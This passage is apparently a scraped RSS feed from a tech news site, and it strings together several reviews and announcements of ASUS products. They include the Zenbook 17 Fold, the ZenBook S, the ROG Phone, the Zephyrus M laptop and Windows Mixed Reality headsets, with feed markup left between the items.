Depending on the situation, the Zenbook 17 Fold changed from being a big tablet for watching shows and movies to an ultraportable that let me work in tight spaces to a portable desktop I could use as my command station away from home. I’m usually one who longs for the comfort of a second monitor when I’m not at my desk, but those yearnings didn’t hit nearly as hard on this trip. And to my delight, it performed well in all of those roles. On top of that, between Windows 11 and ASUS’ ScreenXpert tool, it’s much easier to choose the right app layout for whatever mode you’re in. (If you’ll remember, the original ThinkPad X1 Fold was designed to run on Windows 10X, which ended up getting canceled last year.) And the decision to include a bigger 17.3-inch screen gives you more room for work or play, while also making content look great.

Asus' bundled leather case is a thoughtful inclusion that really helps protect the Zenbook 17 Fold while traveling.
Sam Rutherford/Engadget

However, where the Zenbook falters is in its software, wonky Bluetooth keyboard, and of course, that $ 3,500 price tag. But what’s really stopping me from loving it is the short time I’ve spent with Lenovo’s 2022 ThinkPad X1 Fold. That’s because for Lenovo’s second-gen flexible laptop, the company came up with a brand new chassis featuring a more compact hinge, a revamped keyboard and a redesigned stand. Lenovo also retained its mil-spec durability and stylus support, neither of which you get on the Zenbook. So while the Zenbook 17 Fold is an admirable first attempt and improves on the category as a whole, it still has a few regressions that leave it feeling more like a polished take on a slightly dated design than a true rival to Lenovo’s next-gen foldable.

]]> https://briefnews.eu/asus-zenbook-17-fold-oled-review-great-screen-now-do-the-keyboard/feed/ 0 Asus’ First Foldable PC Is Here. But It’s Half-Baked https://briefnews.eu/asus-first-foldable-pc-is-here-but-its-half-baked/ https://briefnews.eu/asus-first-foldable-pc-is-here-but-its-half-baked/#respond Mon, 19 Sep 2022 08:10:06 +0000 https://briefnews.eu/asus-first-foldable-pc-is-here-but-its-half-baked/ The brand’s attempt at a foldable PC is a showcase for the new form factor, but even Asus admits it’s “not a mass-market product.” We agree.


https://media.wired.com/photos/630ea73e9fbbe8d3536bfa05/master/pass/Asus-Zenbook-17-Fold-Gear.jpg

]]> https://briefnews.eu/asus-first-foldable-pc-is-here-but-its-half-baked/feed/ 0 ASUS ZenBook S review: Just a decent laptop https://briefnews.eu/asus-zenbook-s-review-just-a-decent-laptop/ https://briefnews.eu/asus-zenbook-s-review-just-a-decent-laptop/#respond Sat, 10 Nov 2018 17:32:26 +0000 http://briefnews.eu/asus-zenbook-s-review-just-a-decent-laptop/

ASUS has cranked out so many laptop variations over the years that it’s a little hard to be surprised by a new traditional clamshell notebook. But the ZenBook S represents an intriguing combination of portability, power and design. It’s extremely thin and light, offers some solid specs, and features an odd hinge design that props the keyboard up at a slight angle. Oh, and it comes in a shiny, attention-grabbing maroon color.

Of course, there are dozens of Windows laptops on the market at any given time, and many of them have more modern and, let’s face it, exciting hardware designs. But if you don’t care about getting a laptop with a detachable keyboard or a 360-degree hinge, the ASUS ZenBook S delivers almost everything we could ask for from an ultraportable.

Hardware

ASUS ZenBook S

As I mentioned, the ZenBook S hardware combines thinness and durability. At 2.2 pounds, it’s one of the lightest laptops you can buy. Factor in its compact footprint and it’s the kind of device you can just throw in a bag anywhere you go and forget it’s there. There really aren’t many conventional laptops in this size range, either; unless you’re willing to forgo the standard clamshell design and try a Surface Pro, it doesn’t get much smaller than the ZenBook S.

Despite that thin body, the cushy, backlit keys offer the kind of deep travel that MacBook Pro owners can only wish for. It took no time to adjust to the ZenBook’s keyboard, and I’m glad that ASUS doesn’t seem to have made any compromises. Sadly, the ZenBook S is yet another Windows laptop with an average-at-best trackpad. It’s on the small side, and not as responsive as I’d like. After using the comically large MacBook Pro touchpad, I found myself missing its spacious dimensions. At least the trackpad here also has a fingerprint sensor, which makes logging into the machine a breeze.

The ZenBook may be thin, but ASUS promises that it’s durable, too. I didn’t throw it down the stairs or anything, but it does feel like a solid, well-made machine that should handle most people’s routines with ease. The display doesn’t flex unless I apply real pressure, while the keyboard panel feels sturdy. ASUS says the aluminum-unibody ZenBook passed the military-standard (MIL-STD) 810G tests for “drops, temperature, humidity and altitude,” so it seems like it’ll take some effort to cause meaningful damage.

Finally, there’s that hinge. When closed, the ZenBook looks like any other thin laptop, but a small bit of the “bottom” of the body moves along with the screen and props the keyboard up at a slight angle. It actually looks quite similar to how a Surface Pro looks with the keyboard attached, despite the totally different hardware. It doesn’t look like any other laptops I can think of, but it’s a useful design choice. When typing on a desk, the extra space was designed to improve airflow, keeping the computer cooler when it’s working hard. The slight slant to the keyboard itself also makes for some pleasant typing, and it helps, too, that the speakers (hidden on the bottom of the ZenBook) emanate louder audio, thanks to that vertical lift.

ASUS ZenBook S

The strange hinge design isn’t quite as good when you’re using the laptop on, well, your lap. Instead of a flat surface, you’re balancing the display edge and the keyboard edge, which works fine most of the time. But if you’re the kind of person who shifts and moves your legs around a lot while using a laptop (I can’t seem to sit still, personally), it’s not quite as stable. I got used to using the ZenBook on my lap, but it’s still a bit of an adjustment from a normal laptop.

As far as the display goes, the Zenbook S I tested was a bit of a mixed bag. I received the entry-level model with a 13.3-inch, 1080p screen. By and large, it looks great: Colors on photos and webpages popped nicely, and the viewing angles were excellent. The downside is that I simply find 1080p’s limited vertical resolution to be a real annoyance these days. I’d much rather work on the 3:2 screen found on Microsoft’s Surface Laptop, as it shows off more website content or text for when I’m drafting reviews like this one. Still, 1080p displays remain common; if you’re used to working with one, this screen won’t let you down.

Performance

The Zenbook S I tested came with an eighth-generation Intel Core i7 processor (the 8550-U, for those keeping track), along with 8GB of RAM and 256GB of storage. That was plenty enough for my normal workflow, which typically includes tons of Chrome tabs, relatively lightweight apps like Spotify, Trello, Todoist and Slack, and the occasional dabbling in Adobe Lightroom and Photoshop. For most people out there, the ZenBook S should get the job done.

If you’re a gamer, it’s another story: The integrated Intel HD 620 graphics chip isn’t going to cut it for modern Windows gaming. Of course, you’re probably not looking at a thin and light computer like the ZenBook S if you’re hoping to play Shadow of the Tomb Raider. Otherwise, the ZenBook is a capable performer that should meet most people’s needs.

Despite its thin frame, ASUS says the ZenBook S can get up to 13.5 hours of battery life. Indeed, the laptop achieved 12 hours of video playback in our battery test, which is pretty good. Unfortunately, there’s a significant gap between that and what I got when using the computer for my normal work routine. I usually get between six and seven hours of mixed usage, which is rather mediocre and falls far short of ASUS’s estimate.

That said, my laptop has a Core i7 processor, rather than the i5 that ASUS used in its battery tests — the extra power can come at a cost. Still, I wasn’t able to get at least a full eight-hour workday from the ZenBook S. If I was doing more intense work like using Lightroom or taking video calls over Hangouts, I often wouldn’t even get to six hours. If you opt for the ZenBook S with a 4K screen, expect the battery life to drop even further.

The competition

ASUS ZenBook S

As I noted earlier, there are dozens of traditional Windows laptops on the market, but the ZenBook S plays in a smaller space. You’re paying for a combo of small size and decent specs that make it a good all-purpose computer. It’s impossible to think about general-use laptops without mentioning Microsoft’s new Surface Laptop 2, which starts at $ 999. The latest model includes Intel’s eighth-generation Core i5 or i7 processors, and while it’s not as thin as the ZenBook S, it offers a wonderful screen. We’re not done testing the Surface Laptop 2 yet, but we can say that last year’s model also delivered excellent battery life.

Dell’s outstanding XPS 13 is another solid alternative. The current model has essentially identical specs to the ZenBook S model I tested, and right now it starts at $ 999. You’re stuck with a terribly placed webcam, but it does basically everything else well.

And if you’re interested in macOS, the brand new MacBook Air ($ 1,199 and up) is another jack-of-all-trades laptop with a slim body and a more pixel-dense display than the ZenBook S (unless you opt for the 4K screen). That said, the MacBook Air only has a dual-core Intel Core i5 chip inside, compared to the quad-core processor in the ZenBook S. That means it might last significantly longer on a charge, but the performance might not be up to snuff depending on your workload.

Of course, ASUS itself has an extremely crowded product lineup all of its own, with dozens of laptops at various price points and form factors, including at least a few that are close enough in price, size and specs to be worth considering. The ZenBook S is thinner and lighter than most, but if you don’t need the smallest laptop possible, ASUS has plenty of other options to consider.

Wrap-up

As much as companies like to hype up tablets, 2-in-1s and convertibles as the future of computing, there will always be customers who want a basic, reliable laptop. The ZenBook S fits the bill — it’s not the best Windows laptop, nor the most well-rounded device out there. The disappointing battery life in particular makes it a tough sell as a take-it-anywhere laptop. But that aside, the ZenBook S is a worthwhile choice if you’re looking for a laptop that can handle the most common computing tasks. It’s a solid performer and its small size and light weight make it easy to throw in your bag and forget about. Just make sure you leave room for the charger.

]]> https://briefnews.eu/asus-zenbook-s-review-just-a-decent-laptop/feed/ 0 ASUS ROG’s ridiculously high-spec gaming phone was made for ‘PUBG’ https://briefnews.eu/asus-rogs-ridiculously-high-spec-gaming-phone-was-made-for-pubg/ https://briefnews.eu/asus-rogs-ridiculously-high-spec-gaming-phone-was-made-for-pubg/#respond Mon, 04 Jun 2018 11:32:55 +0000 http://briefnews.eu/asus-rogs-ridiculously-high-spec-gaming-phone-was-made-for-pubg/

Thanks to the likes of PUBG and Fortnite arriving on mobile, gaming smartphones seem like a no-brainer for brands that want to break into the crowded smartphone world, with the Razer Phone setting the bar for others to follow. ASUS thinks it can do better. Here at Computex, the company surprised many by unveiling the ROG Phone, its first-ever handset made specifically with gaming in mind.

Needless to say, this aggressive-looking device is specced out as a powerhouse, but it’s also packed with many unique and thoughtful features that aim to deliver a better gaming experience. Not to mention the handful of dedicated accessories as well — including an external cooling fan that clips onto the back, plus an optional handheld dock that adds a second screen to the ROG Phone.

As with most other 2018 flagship smartphones, the ROG Phone is powered by Qualcomm’s flagship octa-core Snapdragon 845 chipset, but in this case, it’s been giving a little boost in its top CPU clock speed — going from the standard 2.8GHz up to 2.96GHz, which is a first in mobile. Another unique feature here is the 6-inch 2,160 x 1,080 AMOLED screen, which supports HDR content (no word on which standards yet) and runs at 90Hz with a 1ms response rate. Even though this isn’t quite as fast as the Razer Phone’s 120Hz LCD, it’s still apparently the fastest AMOLED display on a smartphone, not to mention its advantages over LCD in terms of color gamut and contrast ratio. But if you prefer, you can use the phone’s built-in 802.11ad WiGig connectivity to mirror your gameplay to a nearby TV via ASUS’ WiGig Dock, so long as your handset has a direct line of sight to the receiver.

There’s no word on storage space yet, but ASUS did share that the device will come with a whopping 8GB of RAM, which is the least you’d expect from a serious gaming smartphone. You’ll also find a pair of front-facing speakers, the same cameras as the ZenFone 5 (8MP front, 12MP/8MP ultra-wide on the back) and a rear fingerprint reader. As a bonus, there’s a silver ROG logo on the back which actually features a programmable RGB backlight: Using the dedicated app, you can choose a static color, have it pulsating, strobing, cycling through various colors or switched off entirely. Better yet, you can synchronize this RGB setting with other ASUS Aura Sync products; you can even synchronize up to five ROG Phones, which would look pretty cool in an eSports tournament.

The most surprising feature might be that the phone comes with not one, but three USB-C ports. In portrait, there’s the usual one at the bottom, and then two conjoined ports on the left. The idea here is that you’d be able to keep the phone plugged into a power source, but without the cable getting in the way of either of your hands. As to why these ports are conjoined, well, they are actually designed for a handful of specially-made accessories — more on those later.

Another unusual feature on the ROG Phone is the presence of three ultrasonic sensors. Two of these serve as programmable shoulder triggers for landscape gaming, which lets you see more of the screen since your index fingers are now out of the way. These triggers worked surprisingly well during my brief Asphalt 9 gameplay.

When holding the phone in portrait, you’ll find the third sensor at the bottom of the left side, and together with its counterpart on the right, it lets you squeeze the phone to quickly toggle apps — very much like the feature on recent HTC flagships, except those phones use strain gauges instead of ultrasonic sensors found on ROG’s device.

All of that etra processing power on the ROG Phone is backed by its generous 4,000mAh battery — this is supported by ASUS HyperCharge which essentially moved the charging chip to the power adapter in order to reduce heat inside the phone. More importantly, there’s a “3D vapor-chamber cooling system” — essentially a massive slab of copper heat radiator plus some carbon cooling pads attached to the circuit board — that covers most parts of the phone internally. This apparently provides 16 times more heat dissipation area than a standard smartphone cooling design, thus allowing a longer CPU peak endurance by up to five folds.

But that’s (still!) not all, as ASUS is also throwing in an “AeroActive Cooler” that clips onto the phone’s curved glass back. This plugs into the conjoined USB-C ports to power its fan and RGB logo, and both can be configured in the companion app mentioned earlier. Personally, I found that the attachment could sometimes get in the way of my hands. Maybe I could get used to it over time? I’m not sure. On the positive side, this attachment also has a 3.5mm headphone jack, meaning you have a second option to suit your phone’s orientation needs.

The AeroActive Cooler is just one of the many bizarre accessories made for the ROG Phone. The most intriguing of all is the optional TwinView Dock which, as you can tell by the name, is a handheld grip that comes with a second screen plus extra battery juice (capacity to be confirmed). You simply attach the phone to the top via the conjoined USB ports, and then you’ll be able to play your game in your choice of screen, leaving the other for watching reactions from viewers of your hypothetical gameplay stream. ASUS is also hoping to get developers to come up with games that make use of both screens, which would effectively turn the ROG Phone into a Android-powered Nintendo DS-a-like. With the lack of connectivity and content, I wasn’t able to fully appreciate this dual-screen option, but I do wish that the final product will be lighter. And if you prefer the good ol’ physical buttons for gaming, like most of us, ASUS has teamed up with Gamevice to create a clamp-on controller pad for the ROG Phone.

Last but not least, there’s the Mobile Desktop Dock which is rather self-explanatory, but what makes it stand out from Samsung’s similar dock is that it can be plugged into a PC, and with a simple click of a button, you can use the same monitor, mouse and keyboard to access either the PC or the ROG Phone. A bit like a KVM switch, if you like, which makes this setup a lot more versatile.

ASUS’ ROG Phone is certainly shaping up to be the most ambitious gaming phone since Nokia’s N-Gage. In fact, it’s safe to say that this even puts the recent Razer Phone to shame with all these extra features. But is there really a market for this kind of product? We shall see when it launches later this year — some time in Q3.

Click here to catch up on all the latest news from Computex 2018!

]]> https://briefnews.eu/asus-rogs-ridiculously-high-spec-gaming-phone-was-made-for-pubg/feed/ 0 ASUS’ Zephyrus M is a thin gaming laptop with a six-core i7 https://briefnews.eu/asus-zephyrus-m-is-a-thin-gaming-laptop-with-a-six-core-i7/ https://briefnews.eu/asus-zephyrus-m-is-a-thin-gaming-laptop-with-a-six-core-i7/#respond Tue, 03 Apr 2018 14:10:51 +0000 http://briefnews.eu/asus-zephyrus-m-is-a-thin-gaming-laptop-with-a-six-core-i7/

Today, ASUS Republic of Gamers (ROG) announced the Zephyrus M laptop, which is the thinnest gaming laptop to have an eighth generation Intel Core i7 processor and NVIDIA GeForce GTX 1070 graphics. The laptop will be available for preorder starting April 3rd. The laptop starts at $ 1499, with the top-of-the-line model at $ 2199.

The Zephyrus line is designed for gamers who want the power of a gaming desktop in the form factor of a relatively slim and lightweight laptop. The display is 15.6 inches, with full HD resolution (1980 x 1080) on an AHVA IPS-type panel with a 144Hz refresh rate and 3 ms response time. It’s also got onboard wide-view tech, which means colors stay true even from extreme angles. It weighs about 5.5 lbs and is 15.1 x 10.3 x 0.7~0.78 inches.

The $ 2199 model comes with 16GB of DDR4 RAM and a 256 GB SSD, as well as a 1 TB SSHD. It also has an active aerodynamic system, which ensures that the laptop runs cool without sacrificing speed or performance. The system also runs quietly. As far as ports, it has 1 USB-C, 2 USB-3.1 Gen 1, 2 USB-3.1 Gen2, 1 HDMI 2.0 and 1 3.5-mm jack. It also has a built-in HD camera and mic, with a backlit keyboard. The battery is a 4-cell Li-ion 55WHrs, and the laptop has switchable GPU modes so the user can switch between G-SYNC or power-saving mode. You can see full specs of all the models here.

We reviewed the ASUS ROG Zephyr laptop and were impressed by both its form factor and onboard features. While the battery life left something to be desired, and the screen wasn’t 4K (which are issues with this model as well, though the GPU switching can help with the battery problems), we were still in awe of how much ASUS ROG was able to pack into this laptop.

ASUS ROG announced a full line of new gaming systems today that are all powered by the newest eighth generation Intel Core processors, which allow gamers to customize their lighting. These include the Zephyrus M as well as the Huracan desktop, the Zephyrus, the G703, the Strix SCAR edition, the Strix Hero edition, the Strix GL12, and the H370 and B360 series motherboards.

Source: Business Wire (1), Business Wire (2)

]]> https://briefnews.eu/asus-zephyrus-m-is-a-thin-gaming-laptop-with-a-six-core-i7/feed/ 0 Watch ASUS’ Zenfone 5Z launch in under 9 minutes! https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/ https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/#respond Wed, 28 Feb 2018 13:49:50 +0000 http://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/

When you’re going up against serious mobile heavyweights, carving out a little bit of MWC for yourself can be tough. Maybe that’s why ASUS held its Zenfone 5/5Z launch on the second day of the show (and that’s not counting the pre-event press days). Either way, company CEO Jerry Shen was more than happy to enjoy his time on stage and tell us all about what’s new with Zenfone. Catch up on the whole affair right here.

Catch up on the latest news from MWC 2018 right here.

]]> https://briefnews.eu/watch-asus-zenfone-5z-launch-in-under-9-minutes/feed/ 0 ASUS’ Windows Mixed Reality headset is now on sale for $429 https://briefnews.eu/asus-windows-mixed-reality-headset-is-now-on-sale-for-429/ https://briefnews.eu/asus-windows-mixed-reality-headset-is-now-on-sale-for-429/#respond Tue, 20 Feb 2018 20:02:40 +0000 http://briefnews.eu/asus-windows-mixed-reality-headset-is-now-on-sale-for-429/

We liked what we saw of the ASUS’ foray into Windows Mixed Reality hardware at IFA 2017, but we always figured it would likely be pricey. That’s been proven true now as the HC102 headset and two controllers are finally on sale in the US for $ 429.

While this might be the best mixed reality headset so far, it’s a little late to the party, too. Both Samsung and Acer released their take on the tech last year. They’re also both less expensive, with the former coming in near $ 300 and the latter for $ 400 with two controllers. HP has its own model, as well, which retails for $ 450.

Via: The Verge

Source: B&H Photo

]]> https://briefnews.eu/asus-windows-mixed-reality-headset-is-now-on-sale-for-429/feed/ 0 HP, Asus announce first Windows 10 ARM PCs: 20 hour battery life, gigabit LTE https://briefnews.eu/hp-asus-announce-first-windows-10-arm-pcs-20-hour-battery-life-gigabit-lte/ https://briefnews.eu/hp-asus-announce-first-windows-10-arm-pcs-20-hour-battery-life-gigabit-lte/#respond Wed, 06 Dec 2017 12:24:50 +0000 http://briefnews.eu/hp-asus-announce-first-windows-10-arm-pcs-20-hour-battery-life-gigabit-lte/

Enlarge / The Snapdragon 835-powered HP Envy x2. (credit: HP)

Just shy of a year after announcing that Windows was once again going to be available on ARM systems, the first two systems were announced today: the Asus NovaGo 2-in-1 laptop, and the HP Envy x2 tablet.

Branded as Always Connected PCs, the new Windows on ARM systems are positioned as bringing together the best of PCs and smartphones. They have PC form factors, with the productivity enabled by a real keyboard, touchpad, and general purpose operating system capable of running regular Windows software, but they bring with them the seamless switching between LTE and Wi-Fi, instant on, multiple working day battery life, and slimline, lightweight packaging that we’re accustomed to on our phones.

The Asus laptop boasts 22 hours of battery life or 30 days of standby, along with LTE that can run at gigabit speeds. HP’s tablet offers a 12.3 inch, 1920×1280 screen, 20 hours of battery life or 29 days of standby, and a removable keyboard-cover and stylus. Both systems use the Snapdragon 835 processor and X16 LTE modem, with HP offering up to 8GB RAM and 256GB storage to go with it.

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Ars Technica

]]> https://briefnews.eu/hp-asus-announce-first-windows-10-arm-pcs-20-hour-battery-life-gigabit-lte/feed/ 0 Play spot the difference with ASUS’ ROG Strix gaming laptops https://briefnews.eu/play-spot-the-difference-with-asus-rog-strix-gaming-laptops/ https://briefnews.eu/play-spot-the-difference-with-asus-rog-strix-gaming-laptops/#respond Mon, 04 Sep 2017 18:41:26 +0000 http://briefnews.eu/play-spot-the-difference-with-asus-rog-strix-gaming-laptops/

Gamers are a broad and diverse community, and treating them all as the single customer with a single set of needs isn’t very smart. It’s why ASUS is trying to break the one-size-fits all mould with its ROG Strix edition laptops that it initially showed off earlier this year. The two devices, the Scar and Hero editions, are designed to cater specifically to both FPS and MOBA players, respectively.

The headline tweaks made to the Scar Edition include a better display with a 120Hz refresh rate and 5ms response time. In addition, the keyboard has been intentionally made shallower in order to ensure that keypresses register that little bit faster. After all, you need to be sure you’re not wasting yoctoseconds of time pushing the actual buttons in the midst of a round of Overwatch.

Visually, too, the Scar has been given a gunmetal grey finish that’s intended to remind you of assault rifles and bullets flying through midair. Open the lid and you’ll find the palm rest has been styled with a carbon fiber-esque design, as well as side-firing stereo speakers that will help you pinpoint enemies.

The Hero, meanwhile, is clad in a visual design called “Monster Scale” which is meant to evoke, well, monster-fighting MOBAs. Rather than response time, the display has been tweaked to offer a better sRGB color gamut to ensure you’re only battling enemies in League of Legends. In addition, the company has made the keyboards more resilient, knowing that such games, with repeated, furious button pressing, often ruin keyboards.

Both devices have the usual raft of build-to-order options, which you can pick and choose to your heart’s delight. What’s going to be interesting, however, is to see if gamers take to the technical customizations specific to each genre. After all, having a laptop catered around your needs is great, although it’s not easy to see if these tweaks were actually being asked for in the first place.

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]]> https://briefnews.eu/play-spot-the-difference-with-asus-rog-strix-gaming-laptops/feed/ 0 ASUS’ first mixed reality headset has plenty of pleasant surprises https://briefnews.eu/asus-first-mixed-reality-headset-has-plenty-of-pleasant-surprises/ https://briefnews.eu/asus-first-mixed-reality-headset-has-plenty-of-pleasant-surprises/#respond Sun, 03 Sep 2017 17:14:25 +0000 http://briefnews.eu/asus-first-mixed-reality-headset-has-plenty-of-pleasant-surprises/

ASUS has been teasing us with details of its Windows Mixed Reality headset, but now is ready to let folks try it for themselves. At IFA 2017, we were also able to spend a decent amount of time using the Windows Mixed Reality controllers that will ship with it. The short version of it all is that both devices have no business being this good, and it bodes very well for the future of the platform.

Most of the technology inside the headset is common across all of the manufacturers, but ASUS has worked hard to make its offering unique where it can. For instance, the company used a polygonal-art covering for the visor, ensuring that it looks much nicer than, say, Acer’s View Master-esque offering. Similarly, ASUS’ headset feels much lighter than its rivals, and the company included an antimicrobial cushion on the inside.

The headset, like its brothers, has inside-out tracking, which uses the two front-mounted cameras to track the controllers. That makes it significantly cheaper than Vive or Rift handsets, which require additional peripherals for tracking. Before testing, my concern was that the cheaper technology would compromise the accuracy and reliability of the controllers. That concern was misplaced, and the system actually works really rather well.

The controllers themselves are designed by Microsoft, and clearly sail close to the style laid down by Oculus for its Touch paddles. The biggest difference is a less gaming-focused button layout, with a touchpad, Windows key and thumb stick on the main platform. Your other fingers fall naturally around the other triggers that are situated on the slender hand sticks. They scream that they can be used for business just as naturally as play, as Microsoft is wont to do with its hardware design.

On the outside ring, you’ll find a halo of 32 small LEDs that the headset uses to pinpoint the position of the controllers in the air. But even when pulling my hands well beyond the visor’s field of view, the tracking remained pretty reliable. One of the demo titles required me to pull weapons out from over my shoulder, and the tracking remained impeccable.

The funny thing is that, personally, I was concerned that these headsets would attempt to please two masters and fail for both of them. After all, the inside-out tracking wouldn’t be as accurate or reliable as more expensive alternatives, and its price was too high for a casual purchase. I’m happy to admit that I was wrong, and that I’m actually pretty excited for this technology, especially now that it’s compatible with Steam VR games.

ASUS doesn’t yet know when its hardware will make its debut beyond the end of this year or the start of the next. Although it would be lunacy if it missed the holiday season given that this may be many people’s first attempt at buying VR gear for their homes. Either way, when it does arrive, it’ll set you back €449, and you could expect it to set you back around $ 500-ish when US pricing is announced.

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